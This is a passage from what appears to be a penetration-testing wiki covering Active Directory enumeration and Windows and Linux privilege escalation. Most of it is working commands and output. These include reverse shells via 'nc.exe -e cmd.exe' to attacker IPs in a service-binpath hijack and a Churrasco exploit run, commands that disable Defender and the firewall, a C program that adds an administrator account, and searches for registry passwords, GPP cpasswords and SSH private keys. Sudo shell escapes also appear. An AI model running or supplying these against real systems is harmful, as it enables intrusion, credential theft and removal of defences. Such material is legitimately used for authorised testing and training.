Find-InterestingDomainAcl       -   finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects
Get-DomainOU                    -   search for all organization units (OUs) or specific OU objects in AD
Get-DomainSite                  -   search for all sites or specific site objects in AD
Get-DomainSubnet                -   search for all subnets or specific subnets objects in AD
Get-DomainSID                   -   returns the SID for the current domain or the specified domain
Get-DomainGroup                 -   return all groups or specific group objects in AD
New-DomainGroup                 -   creates a new domain group (assuming appropriate permissions) and returns the group object
Get-DomainManagedSecurityGroup  -   returns all security groups in the current (or target) domain that have a manager set
Get-DomainGroupMember           -   return the members of a specific domain group
Add-DomainGroupMember           -   adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so
Get-DomainFileServer            -   returns a list of servers likely functioning as file servers
Get-DomainDFSShare              -   returns a list of all fault-tolerant distributed file systems for the current (or specified) domain
```

#### GPO functions

```
Get-DomainGPO                           -   returns all GPOs or specific GPO objects in AD
Get-DomainGPOLocalGroup                 -   returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences
Get-DomainGPOUserLocalGroupMapping      -   enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation
Get-DomainGPOComputerLocalGroupMapping  -   takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation
Get-DomainPolicy                        -   returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller
```

#### Computer Enumeration Functions

```
Get-NetLocalGroup                   -   enumerates the local groups on the local (or remote) machine
Get-NetLocalGroupMember             -   enumerates members of a specific local group on the local (or remote) machine
Get-NetShare                        -   returns open shares on the local (or a remote) machine
Get-NetLoggedon                     -   returns users logged on the local (or a remote) machine
Get-NetSession                      -   returns session information for the local (or a remote) machine
Get-RegLoggedOn                     -   returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys
Get-NetRDPSession                   -   returns remote desktop/session information for the local (or a remote) machine
Test-AdminAccess                    -   rests if the current user has administrative access to the local (or a remote) machine
Get-NetComputerSiteName             -   returns the AD site where the local (or a remote) machine resides
Get-WMIRegProxy                     -   enumerates the proxy server and WPAD conents for the current user
Get-WMIRegLastLoggedOn              -   returns the last user who logged onto the local (or a remote) machine
Get-WMIRegCachedRDPConnection       -   returns information about RDP connections outgoing from the local (or remote) machine
Get-WMIRegMountedDrive              -   returns information about saved network mounted drives for the local (or remote) machine
Get-WMIProcess                      -   returns a list of processes and their owners on the local or remote machine
Find-InterestingFile                -   searches for files on the given path that match a series of specified criteria
```

#### Threaded 'Meta'-Functions

```
Find-DomainUserLocation             -   finds domain machines where specific users are logged into
Find-DomainProcess                  -   finds domain machines where specific processes are currently running
Find-DomainUserEvent                -   finds logon events on the current (or remote domain) for the specified users
Find-DomainShare                    -   finds reachable shares on domain machines
Find-InterestingDomainShareFile     -   searches for files matching specific criteria on readable shares in the domain
Find-LocalAdminAccess               -   finds machines on the local domain where the current user has local administrator access
Find-DomainLocalGroupMember         -   enumerates the members of specified local group on machines in the domain
```

#### Domain Trust Functions:

```
Get-DomainTrust                     -   returns all domain trusts for the current domain or a specified domain
Get-ForestTrust                     -   returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser               -   enumerates users who are in groups outside of the user's domain
Get-DomainForeignGroupMember        -   enumerates groups with users outside of the group's domain and returns each foreign member
Get-DomainTrustMapping              -   this function enumerates all trusts for the current domain and then enumerates all trusts for e
```


# FSMO Roles

Flexible single master operation (FSMO) is a Microsoft Active Directory feature that is a specialized domain controller task used when standard data transfer and update methods are inadequate.

## &#x20;The roles&#x20;

**Forest Wide Roles:**&#x20;

Schema Master&#x20;

Domain naming master&#x20;

**Domain Wide Roles:**&#x20;

PDC&#x20;

RID pool manager&#x20;

Infrastructure Master&#x20;

## How to Quickly check FSMO roles

**CMD:**&#x20;

`netdom query fsmo`&#x20;

**Powershell**&#x20;

`Get-ADForest yourdomain | Format-Table SchemaMaster,DomainNamingMaster`&#x20;

`Get-ADDomain yourdomain | format-table` &#x20;


# Windows

manual techniques for privilege escalation

## Information Gathering

First step should always be Situational Awareness, understand what's on the host. Please use those commands first to understand what you're against.

[Windows Situational Awareness Guide](/infrastructure-testing/privilege-esclation/situational-awareness/windows)

## Common commands&#x20;

### **Find passwords/config files**

`dir/s *pass* == *cred* == *vnc* == *.config*`&#x20;

`findstr /si` `password *.xml *.ini*.txt`&#x20;

`/i -`incase sensitive , `/s` - search subdirectories

`reg query HKLM(HKCU) /f password /t REG_SZ /s`&#x20;

### **Find password in registry**

`reg query HKLM /f password /t REG_SZ /s > HKLM.txt`&#x20;

`reg query HKCU /f password /t REG_SZ /s > HLCU.txt`

**Note:** be careful querying the registry as there is usually alerting tied to it

#### VNC

`reg query "HKCU\Software\ORL\WinVNC3\Password"`

#### Windows autologin

`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"`

#### SNMP Parameters

`reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"`

#### Putty

`reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"`

### search files

`dir file.txt /s /p`

The /s option directs a search of all folders on the hard drive; the /p option pauses the display after each screen of text.

can also do `dir *.txt /s /p`

search in a file:

`find /i TEXT C:\*.txt`

/i - incase sensetive

**Find based on Regular expressions**&#x20;

`findstr /Ri /c:"user-." .txt file.txt:user-0111`

### findstr commands

```
Key
   string(s)    Text to search for, each word a separate search.
   pathname(s)  The file(s) to search. 
   /C:string    Use string as a literal search string (may include spaces).
   /R           Evaluate as a regular expression.
   /R /C:string  Use string as a regular expression.
   /G:StringsFile  Get search string from a file (/ stands for console).
   /F:file      Get a list of filename(s) to search from a file (/ stands for console).
   /d:dirlist   Search a comma-delimited list of directories.
   /A:color     Display filenames in colour (2 hex digits)

options can be any combination of the following switches:

   /I   Case-insensitive search.
   /S   Search subfolders.
   /P   Skip any file that contains non-printable characters
   /OFF[LINE] Do not skip files with the OffLine attribute set.
   /L   Use search string(s) literally.
   /B   Match pattern if at the Beginning of a line.
   /E   Match pattern if at the END of a line.
   /X   Print lines that match exactly.
   /V   Print only lines that do NOT contain a match.
   /N   Print the line number before each line that matches.
   /M   Print only the filename if a file contains a match.
   /O   Print character offset before each matching line.
```

## Missing KB's

Search for any vulnaribilies that weren't patched, and the patch wasn't applid to the host.

### Manually&#x20;

Use wmi to find what patches were applied:

`wmic qfe get Caption,Description,HotFixID,InstalledOn`

And find the patches that were not applied yet (shows as 'update')

### Seatbelt

[Seatbelt ](/infrastructure-testing/privilege-esclation/automated-tools#seatbelt)can enumerate missing patches.

#### Metasploit

Use `use post/windows/gather/enum_patches`

## GPP Passwords

Group Policy Preference (GPP) is created, there’s an xml file created in the SYSVOL share with that config data, including any passwords associated with the GPP. For security, Microsoft AES encrypts the password before it’s stored as cpassword. But then Microsoft [published the key](https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx) on MSDN&#x20;

### Manual

Find the Domain Controller and browse to `\\DC\SYSVOL\` find all the passwords by searching the following files:

```
Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
```

&#x20;obtain the value of the attribute **cpassword**.

### Metasploit

`post/windows/gather/credentials/gpp`

### PowerSploit

Use the `Get-GPPPassword` which is under Exfiltration&#x20;

Or the  `Get-CachedGPPPassword` For locally stored GP Files which is part of 'PowerView'

### Decrypt

Decrypt the password using the Kali built in tool called gpp-decrypt that will do it:&#x20;

`root@kali:~# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ` \
`GPPstillStandingStrong2k18`&#x20;

## Scheduled tasks

We are looking for tasks that are run by a privileged user and we can change their commands or paths.

**Open task scheduler:**

taskschd.msc

control schedtasks

**Output for all tasks:**&#x20;

`schtasks /query /fo LIST /v > tasks.txt`&#x20;

Or in a Table:

`schtasks /query /fo TABLE`

**Specific task:**&#x20;

`schtasks/query /fo LIST /v /tn TaskName`&#x20;

**Start Scheduled tasks:**

`PS> Start-ScheduledTask -TaskName "ScanSoftware"`

**Stop Scheduled task:**

`PS> Stop-ScheduledTask -TaskName "ScanSoftware"`

**PowerUP**

`Get-ModifiableScheduledTaskFile`

```
Start-ScheduledTask -TaskName "ScanSoftware"
Start-ScheduledTask -TaskName "Don't_Kill_Me3"
schtasks /run /tn "task name"
End Task
schtasks /end /tn "task name"
Get Task Info
Get-ScheduledTaskInfo -TaskName "Don't_Kill_Me3"
schtasks /query /tn "Don't_Kill_Me3" /FO list /v
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr "Task To Run"
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
View running tasks
get-scheduledtask | ? state -eq running
Modifying a scheduled task
schtasks.exe /change /tn "Don't_Kill_Me3" /tr:c:\windows\system32\cmd.exe
copy c:\Users\administrator\XblGameSaveTask.exe c:\Windows\System32\XblGameSaveTask.exe
$Act1 = New-ScheduledTaskAction -Execute "C:\windows\system32\Notepad.exe"
Set-ScheduledTask "Don't_Kill_Me3" -Action $Act1
accesschk.exe /accepteula -quvw C:\Users\Administrator\Desktop\Backup.ps1
FILE_ALL_ACCESS
```

## Weak Service Permissions

[More information under 'Running services'](/infrastructure-testing/privilege-esclation/windows/running-services)

### Check Permission

#### Manual

#### View current services:

`net start`

**Viewing Service ACLs using powershell**

Use the Get-[ServiceACL ](broken://pages/-M7Mf8AdEB6vCfmzwk5j)script, and run:

`'FakeService' | Get‐ServiceAcl | Select‐Object ‐ExpandProperty Access`

If the service permissions allow us to start stop or change config we can modify the service permissions.

#### Accesschk

#### Checking Permissions

Can be done using [Accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) - a sysinternal tool

**Checking Folder Permissions:**&#x20;

`accesschk.exe -dqv C:\Some\Path`&#x20;

`accesschk.exe -dvq UserGroup c:\`&#x20;

#### **Checking Service Permissions:**&#x20;

`accesschk.exe -ucqv ServiceName`&#x20;

`accesschk.exe -ucvq* <Any_Service>`&#x20;

**Check Service Write Access**:&#x20;

`accesschk.exe -uwcqv UserGroup*`&#x20;

#### Changing Service Configuration&#x20;

Let's enumerate services with accesschk from SysInternals and look for SERVICE\_ALL\_ACCESS or  SERVICE\_CHANGE\_CONFIG as these privileges allow attackers to modify service configuration:&#x20;

`accesschk.exe /accepteula -ucv "user" evilsvc`&#x20;

`accesschk.exe /accepteula -uwcqv "Authenticated Users" *`&#x20;

We can see the user 'user' has 'SERVICE\_ALL\_ACCESS' to the service 'evilsec'&#x20;

**Create a malicious binary using msfvenom and point the services:**&#x20;

`.\sc.exe config evilsvc binpath= "c:\program.exe"`&#x20;

(Run hanlder)&#x20;

Start the service:&#x20;

`.\sc.exe start evilsvc`&#x20;

Or&#x20;

`net stop [service name] && net start [service name].`&#x20;

### Metasploit script

exploit/windows/local/service\_permissions&#x20;

### Manual

\# **NOTE: spaces are mandatory for this exploit to work !**&#x20;

```
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe" 
sc qc upnphost 
sc stop upnphost
sc start upnphost
```

### Srvcheck3&#x20;

```
C:\Users\hacker\Downloads>.\srvcheck3.exe -l 
 Srvcheck 3 - Windows Services ACL permission Scanner 
 (c) 2006 - 2008 Andres Tarasco - atarasco@gmail.com 
 * PRIVATE BUILD for PENTESTERS - 
http://www.tarasco.org
 
[+] Listing Vulnerable Services... 
    [Apache2.4]         Apache2.4 
    Status: 0x4 
    Context:            LocalSystem 
    Parameter:          "c:\xampp\apache\bin\httpd.exe" -k runservice 
[+] Analyzed 400 Services in your system 
[+] You were Lucky. 1 vulnerable services found 
```

### Resource

* <https://www.ired.team/offensive-security/privilege-escalation/weak-service-permissions>

## AlwaysInstallElevated

Group Policy Setting that allows any \*.msi to install with elevated privilege&#x20;

Attack: Compile payload as \*.msi&#x20;

The easiest method to determine if this issue exist on the host is to query the following registry keys:&#x20;

`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`&#x20;

### Metasploit&#x20;

The easiest and the fastest way to escalate privileges is via the Metasploit Framework which contains a module that can generate an MSI package with a simple payload that it will be executed as SYSTEM on the target host and it will be removed automatically to prevent the installation of being registered with the operating system.&#x20;

![Metasploit Module - Always-Install-Elevated](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FEq202PDcApaOlXHp3Fa5%2Ffile.png?alt=media)

### PowerSploit&#x20;

PowerSploit framework contains a script that can discover whether this issue exist on the host by checking the registry entries and another one that can generate an MSI file that will add a user account into the local administrators group.&#x20;

![PowerSploit - Always Install Elevated](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FyAdPFXBr2QpqoHAVHPxj%2Ffile.png?alt=media)

## Unquoted services

**Example for vulnerable paths:**&#x20;

`C:\Defcon\Vuln` Folder 1\anything.exe&#x20;

`C:\Defcon\Vuln Folder` 1\anything.exe&#x20;

`C:\Defcon\Vuln Folder 1\anything.exe`&#x20;

**Searching for Unquoted Service Paths:**&#x20;

Cmd:&#x20;

`wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """`&#x20;

Powershell:&#x20;

```
beacon> powerpick gwmi win32_service | ?{$_} | where {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | where {-not $_.pathname.StartsWith("`"")} | where {($_.pathname.Substring(0, $_.pathname.IndexOf(".exe") + 4)) -match ". ."}
[*] Tasked beacon to run: gwmi win32_service | ?{$_} | where {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | where {-not $_.pathname.StartsWith("`"")} | where {($_.pathname.Substring(0, $_.pathname.IndexOf(".exe") + 4)) -match ". ."} (unmanaged)
[+] host called home, sent: 134767 bytes
[+] received output:


ExitCode  : 1067
Name      : CYBERFwSvc
ProcessId : 0
StartMode : Auto
State     : Stopped
Status    : OK

```

It is very common for administrators to use Windows Deployment Services in order to create an image of a Windows operating system and deploy this image in various systems through the network. This is called unattended installation.

The problem with unattended installations is that the local administrator password is stored in various locations either in plaintext or as Base-64 encoded. These locations are:

```
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Credit; <https://pentestlab.blog/2017/04/19/stored-credentials/>

### Metasploit

&#x20;`post/windows/gather/enum_unattend`

## Resources

* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>


# Disable Apps and Firewall

## Disable Defender&#x20;

`powershell Set-MpPreference -DisableRealtimeMonitoring $true`&#x20;

OR&#x20;

`Set-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0x00000001 -Force`&#x20;

## Disable Firewall&#x20;

**Show status:**&#x20;

`netsh firewall show state`&#x20;

**Disable:**&#x20;

`netsh advfirewall set  currentprofile state off`&#x20;

Or&#x20;

`netsh firewall set opmode disable`&#x20;

**To check the status of Windows Firewall:**&#x20;

`Netsh Advfirewall show allprofiles`&#x20;


# Add user script

If your able to run a executable to escalate privilege, you can use the following code to add a new user in the administratior group

Code:&#x20;

```
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */ 
int main () 
{ 
  int i; 
  i=system ("net user <username> <password> /add && net localgroup administrators <username> /add"); 
  return 0; 
} 
```

\# Compile&#x20;

`i686-w64-mingw32-gcc -o useradd.exe useradd.c`&#x20;


# UAC Bypass

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation.

## Checking permissons

First need to check if you are in a Medium Integrity process is to run the command `whoami /priv` and see if all privileges are available.&#x20;

![User with Medium integrity](https://3352625434-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M4xwp6Mq18nX8yR4M5z%2F-M6-NpcBQvtIhP3TD4zv%2F-M6JwD3K9V6gsqal9-Iv%2FGetImage.jpeg?alt=media\&token=4fdbce40-c02a-414e-b2f1-fd5d10b2ba60)

The image above depicts a medium integrity process, as you can see, it does not have all privileges.&#x20;

When you start something “As Administrator”, and run whoami /priv, you will find out that there is a lot more.&#x20;

![](https://3352625434-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M4xwp6Mq18nX8yR4M5z%2F-M6-NpcBQvtIhP3TD4zv%2F-M6JwO4GwnbGPvqRWKYg%2FGetImage\(1\).jpeg?alt=media\&token=3616afc6-d4d3-426a-bdb4-c644fcc4a48b)

## Exploitation

Consider using [UACME](/infrastructure-testing/tools/uacme), [Metasploit Modules](/infrastructure-testing/privilege-esclation/metasploit-modules#bypassuac) or [Bypass-UAC](/infrastructure-testing/tools/bypass-uac)


# icacls

icacls is a command-line utility that can be used to modify NTFS file system permissions in Windows.

icacls is a command-line utility that can be used to modify NTFS file system permissions in Windows Server 2003 SP2, Windows Server 2008, Windows Vista and Windows 7. It builds on the functionality of similar previous utilities, including cacls, Xcacls.exe, Cacls.exe, and Xcacls.vbs.  &#x20;

**example**:&#x20;

```
PS htb\amanda@SIZZLE documents> icacls clean.bat 
clean.bat NT AUTHORITY\SYSTEM:(I)(F) 
          BUILTIN\Administrators:(I)(F) 
          HTB\Administrator:(I)(F) 
          HTB\amanda:(I)(F) 
```

**Change permissions:**&#x20;

icacls C:\PS /grant  John:M&#x20;

**Remove permissions:**&#x20;

icacls C:\PS /remove John&#x20;

Opposed to each group and the user’s access level is specified. Access rights are indicated using abbreviations. Consider the permissions for the user CORP\someusername. The following permissions are assigned to this user:&#x20;

* (OI) — object inherit&#x20;
* (CI) — container inherit&#x20;
* (M) —  modify access&#x20;

This means that this user has the rights to write and modify data in this directory. These rights are inherited to all child objects in this directory.&#x20;

Below is a complete list of permissions that can be set using the icacls utility:&#x20;

iCACLS inheritance settings:&#x20;

* (OI)  —  object inherit&#x20;
* (CI)  —  container inherit&#x20;
* (IO)  —  inherit only&#x20;
* (NP)  —  don’t propagate inherit&#x20;
* (I)  — permission inherited from parent container&#x20;

List of basic access permissions:&#x20;

* D  —  delete access&#x20;
* F  —  full access&#x20;
* N  —  no access&#x20;
* M  —  modify access&#x20;
* RX  —  read and eXecute access&#x20;
* R  —  read-only access&#x20;
* W  —  write-only access&#x20;

Detailed permissions:&#x20;

* DE  —  delete&#x20;
* RC  —  read control&#x20;
* WDAC  —  write DAC&#x20;
* WO  — write owner&#x20;
* S  —  synchronize&#x20;
* AS  —  access system security&#x20;
* MA  —  maximum allowed permissions&#x20;
* GR  —  generic read&#x20;
* GW  —  generic write&#x20;
* GE  —  generic execute&#x20;
* GA  —  generic all&#x20;
* RD  —  read data/list directory&#x20;
* WD  —  write data/add file&#x20;
* AD  — append data/add subdirectory&#x20;
* REA  —  read extended attributes&#x20;
* WEA  —  write extended attributes&#x20;
* X  —  execute/traverse&#x20;
* DC  —  delete child&#x20;
* RA  —  read attributes&#x20;
* WA  —  write attributes&#x20;


# Running services

## CMD

List all services:

`C:> sc queryex type=service state=all`&#x20;

List service names only:

`C:> sc queryex type=service state=all | find /i "SERVICE_NAME:"`&#x20;

Search for specific service:

`C:> sc queryex type=service state=all | find /i "SERVICE_NAME: myService"`&#x20;

Get the status of a specific service: (including owner)

`C:> sc qc myService`

## PowerShell

List all services:

`PS C:> Get-Service`&#x20;

Search for specific service:

`PS C:> Get-Service | Where-Object {$_.Name -like "myService"}`&#x20;

Get the status of a specific service:

`PS C:> Get-Service myService`

## wmic

Current service and owners:

`wmic service get name,startname`

## Get-ServiceAcl

### Usage

`Get-ServiceAcl -Name Hyperdrive`

or

`'Fake Service' | Get‐ServiceAcl | Select‐Object ‐ExpandProperty Access`

### Source

<https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/>

```
Add-Type  @"
  [System.FlagsAttribute]
  public enum ServiceAccessFlags : uint
  {
      QueryConfig = 1,
      ChangeConfig = 2,
      QueryStatus = 4,
      EnumerateDependents = 8,
      Start = 16,
      Stop = 32,
      PauseContinue = 64,
      Interrogate = 128,
      UserDefinedControl = 256,
      Delete = 65536,
      ReadControl = 131072,
      WriteDac = 262144,
      WriteOwner = 524288,
      Synchronize = 1048576,
      AccessSystemSecurity = 16777216,
      GenericAll = 268435456,
      GenericExecute = 536870912,
      GenericWrite = 1073741824,
      GenericRead = 2147483648
  }
"@
 
function Get-ServiceAcl {
    [CmdletBinding(DefaultParameterSetName="ByName")]
    param(
        [Parameter(Mandatory=$true, Position=0, ValueFromPipeline=$true, ParameterSetName="ByName")]
        [string[]] $Name,
        [Parameter(Mandatory=$true, Position=0, ParameterSetName="ByDisplayName")]
        [string[]] $DisplayName,
        [Parameter(Mandatory=$false, Position=1)]
        [string] $ComputerName = $env:COMPUTERNAME
    )
 
    # If display name was provided, get the actual service name:
    switch ($PSCmdlet.ParameterSetName) {
        "ByDisplayName" {
            $Name = Get-Service -DisplayName $DisplayName -ComputerName $ComputerName -ErrorAction Stop | 
                Select-Object -ExpandProperty Name
        }
    }
 
    # Make sure computer has 'sc.exe':
    $ServiceControlCmd = Get-Command "$env:SystemRoot\system32\sc.exe"
    if (-not $ServiceControlCmd) {
        throw "Could not find $env:SystemRoot\system32\sc.exe command!"
    }
 
    # Get-Service does the work looking up the service the user requested:
    Get-Service -Name $Name | ForEach-Object {
         
        # We might need this info in catch block, so store it to a variable
        $CurrentName = $_.Name
 
        # Get SDDL using sc.exe
        $Sddl = & $ServiceControlCmd.Definition "\\$ComputerName" sdshow "$CurrentName" | Where-Object { $_ }
 
        try {
            # Get the DACL from the SDDL string
            $Dacl = New-Object System.Security.AccessControl.RawSecurityDescriptor($Sddl)
        }
        catch {
            Write-Warning "Couldn't get security descriptor for service '$CurrentName': $Sddl"
            return
        }
 
        # Create the custom object with the note properties
        $CustomObject = New-Object -TypeName PSObject -Property ([ordered] @{ Name = $_.Name
                                                                              Dacl = $Dacl
                                                                            })
 
        # Add the 'Access' property:
        $CustomObject | Add-Member -MemberType ScriptProperty -Name Access -Value {
            $this.Dacl.DiscretionaryAcl | ForEach-Object {
                $CurrentDacl = $_
 
                try {
                    $IdentityReference = $CurrentDacl.SecurityIdentifier.Translate([System.Security.Principal.NTAccount])
                }
                catch {
                    $IdentityReference = $CurrentDacl.SecurityIdentifier.Value
                }
                 
                New-Object -TypeName PSObject -Property ([ordered] @{ 
                                ServiceRights = [ServiceAccessFlags] $CurrentDacl.AccessMask
                                AccessControlType = $CurrentDacl.AceType
                                IdentityReference = $IdentityReference
                                IsInherited = $CurrentDacl.IsInherited
                                InheritanceFlags = $CurrentDacl.InheritanceFlags
                                PropagationFlags = $CurrentDacl.PropagationFlags
                                                                    })
            }
        }
 
        # Add 'AccessToString' property that mimics a property of the same name from normal Get-Acl call
        $CustomObject | Add-Member -MemberType ScriptProperty -Name AccessToString -Value {
            $this.Access | ForEach-Object {
                "{0} {1} {2}" -f $_.IdentityReference, $_.AccessControlType, $_.ServiceRights
            } | Out-String
        }
 
        $CustomObject
    }
}
```


# Common Exploits

## churrasco

WMI Service Isolation Local Privilege Escalation Vulnerability

Targets: Microsoft Windows XP/VISTA/2003/2008

Link: <https://github.com/Re4son/Churrasco/>&#x20;

Compiled version:  <https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>

Usage:&#x20;

Upload nc.exe and use churrasco to connect back:

```
C:\wmpub>.\c.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.14.47 443"
/churrasco/-->Current User: NETWORK SERVICE 
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 684 
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 688 
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 692 
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 700 
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x72c
/churrasco/-->Getting SYSTEM token from Rpcss Service...
/churrasco/-->Found NETWORK SERVICE Token
/churrasco/-->Found NETWORK SERVICE Token
/churrasco/-->Found LOCAL SERVICE Token
/churrasco/-->Found SYSTEM token 0x724
/churrasco/-->Running command with SYSTEM Token...
/churrasco/-->Done, command should have ran as SYSTEM!
```

On the NC listener:

```
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.14.
Ncat: Connection from 10.10.10.14:1038.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
whoami
nt authority\system
```


# Linux

Manual privilege escalation techniques to look for

## Information gathering

The first step when landing on host should be understanding who your against to - what OS, what process are running,  what users exists and more, this can be done by looking at the following files (remember - in Linux everything is a file):

### **Distribution type:**&#x20;

`cat /etc/*-release`&#x20;

### Kernel version:&#x20;

`cat /proc/version` \
`uname -a`&#x20;

### view if you can run anything as sudo: (check for GTFObins)&#x20;

`Sudo -l`&#x20;

### Check common files:&#x20;

```
cat /etc/profile 
cat /etc/bashrc 
cat ~/.bash_history 
cat ~/.bashrc 
cat ~/.bash_logout
```

### What services running (filter by root):&#x20;

`ps aux`&#x20;

`ps -efww` - in full screen

`ps -ef`&#x20;

`top`&#x20;

### Check configuration files:&#x20;

```
cat /etc/syslog.conf 
cat /etc/chttp.conf 
cat /etc/lighttpd.conf 
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf 
cat /etc/my.conf 
cat /etc/httpd/conf/httpd.conf 
cat /opt/lampp/etc/httpd.conf
```

### &#x20;Check local ports and what listens:&#x20;

`netstat -antup`&#x20;

### View list of users:&#x20;

`cat /etc/passwd | cut -d: -f1` &#x20;

### Search for ssh keys:&#x20;

```
cat ~/.ssh/authorized_keys 
cat ~/.ssh/identity.pub 
cat ~/.ssh/identity 
cat ~/.ssh/id_rsa.pub 
cat ~/.ssh/id_rsa 
cat ~/.ssh/id_dsa.pub 
cat ~/.ssh/id_dsa 
cat /etc/ssh/ssh_config 
cat /etc/ssh/sshd_config 
cat /etc/ssh/ssh_host_dsa_key.pub 
cat /etc/ssh/ssh_host_dsa_key 
cat /etc/ssh/ssh_host_rsa_key.pub 
cat /etc/ssh/ssh_host_rsa_key 
cat /etc/ssh/ssh_host_key.pub 
cat /etc/ssh/ssh_host_key 
```

### View crontabs

```
crontab -e root 
crontab -l 
ls -alh /var/spool/cron 
ls -al /etc/ | grep cron 
ls -al /etc/cron* 
cat /etc/cron* 
cat /etc/at.allow 
cat /etc/at.deny 
cat /etc/cron.allow 
cat /etc/cron.deny 
cat /etc/crontab 
cat /etc/anacrontab 
cat /var/spool/cron/crontabs/root 
```

### Web servers files

```
ls -alhR /var/www/ 
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/ 
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/ 
```

## Useful Find Comands

### Find Binaries that will execute as the owner (SUID):&#x20;

`find / -perm -u=s -type f 2>/dev/null`&#x20;

### Find binaries that will execute as the group (GUID):&#x20;

`find / -perm -g=s -type f 2>/dev/null`&#x20;

### Find sticky-bit binaries:&#x20;

`find / -perm -1000 -type d 2>/dev/null`&#x20;

### Find files which were created in the last 5 minutes:&#x20;

`find . -mtime -5 -type f -print 2>/dev/null`&#x20;

### Find certain files:&#x20;

`find / -name foo.txt -type f`&#x20;

### Wildcard search:&#x20;

`find . -name "*.txt"` &#x20;

### Find and ls:&#x20;

`find . -type f -name "Foo*" -exec ls -l`&#x20;

### Find world writable folders:&#x20;

`find / -writable -type d 2>/dev/null      # world-writeable folders`&#x20;

`find / -perm -222 -type d 2>/dev/null     # world-writeable folders`&#x20;

`find / -perm -o w -type d 2>/dev/null     # world-writeable folders`&#x20;

`find / -perm -o x -type d 2>/dev/null     # world-executable folders`&#x20;

`find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders`&#x20;

### Files containing passwords:&#x20;

`grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null` \
`find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;`&#x20;

## Sudo misconfiguration &#x20;

A common privilege escalation technique, find misconfigred sudo instance where you can run a software with root privileges (or any other users).

A list of softwares and how to esclate privileges can be found here:

<https://gtfobins.github.io/>

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

**Example:**

```
Nmap 
nmap --interactive 
nmap> !sh 

Vim #1 
vim -c ':!/bin/sh' 

Vim #2 
:set shell=/bin/sh 
:shell 

Perl 
exec "/bin/sh"; 
perl -e 'exec "/bin/sh";' 

Ruby 
Ruby -e 'exec "/bin/sh"' 

ftp 
 ftp > !/bin/sh or !/bin/bash 
 
gdb 
 gdb > !/bin/sh or !/bin/bash 

Awk 
awk 'BEGIN {system("/bin/bash")}' 

Python 
python -c 'import os; os.system("/bin/sh")'
```

A offline version of GTFOBins:

<https://github.com/nccgroup/GTFOBLookup>

**Example**:

```
root@DESKTOP99:/opt/GTFOBLookup# python3 gtfoblookup.py linux shell nmap 
nmap: 
    shell: 
gtfoblookup.py:335: YAMLLoadWarning: calling yaml.load_all() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. 
  for data in md: 
        Description: Input echo is disabled. 
